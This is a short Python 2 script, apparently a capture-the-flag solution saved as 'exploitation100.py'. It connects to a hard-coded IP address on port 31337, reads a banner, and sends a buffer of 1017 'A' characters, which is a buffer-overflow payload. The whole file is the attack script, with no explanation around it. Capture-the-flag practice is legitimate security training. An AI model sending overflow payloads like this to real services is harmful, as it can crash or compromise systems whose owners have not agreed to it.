#!/usr/bin/python         

import socket               

s = socket.socket()        
host = "128.238.66.212"
port = 31337                
data = "A"*1017
s.connect((host, port))
print s.recv(2048)

s.send(data)

print s.recv(2048)

Create exploitation100.py